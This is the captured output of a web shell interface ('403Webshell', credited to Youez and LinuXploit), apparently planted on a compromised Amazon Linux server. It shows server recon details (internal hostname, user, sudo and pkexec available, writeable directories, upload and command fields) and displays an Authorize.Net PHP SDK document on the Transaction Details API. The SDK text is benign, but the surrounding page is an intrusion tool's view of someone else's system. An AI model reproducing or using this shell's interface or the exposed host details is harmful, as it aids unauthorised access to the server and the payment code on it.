403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/anet_php_sdk/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/anet_php_sdk/doc/TD.markdown
Transaction Details API
=======================

Basic Overview
--------------

The AuthorizeNetTD class creates a request object for submitting requests
to the Authorize.Net Transaction Details API.

The AuthorizeNetTD class returns a response that uses PHP's bundled SimpleXML
class for accessing it's members.

The AuthorizeNetTD response provides two ways to access response elements:

1.) A SimpleXml object:

$response->xml->transaction->payment->creditCard->cardType

2.) Xpath:

$batches = $response->xpath("batchList/batch");

3.) AuthorizeNet Objects (todo)



Get Transaction Details
-----------------------

$request = new AuthorizeNetTD;
$response = $request->getTransactionDetails($transId);
echo "Amount: {$response->xml->transaction->authAmount}";

Get Settled Batch List
----------------------
$request = new AuthorizeNetTD;
$response = $request->getSettledBatchList();
$batches = $response->xpath("batchList/batch");
echo "Batch 1: {$batches[0]->batchId}";

Get Transaction List
--------------------
$request = new AuthorizeNetTD;
$response = $request->getTransactionList($batch_id);
$transactions = $response->xpath("transactions/transaction")

There are two additional helper methods in the PHP SDK which
will make multiple calls to retrieve a day's worth of 
transactions or a month's worth of batches:

getTransactionsForDay($month, $day, $year = false)
getSettledBatchListForMonth($month , $year)

If you don't pass parameters into these methods they will default
to the current day/month.

Youez - 2016 - github.com/yon3zu
LinuXploit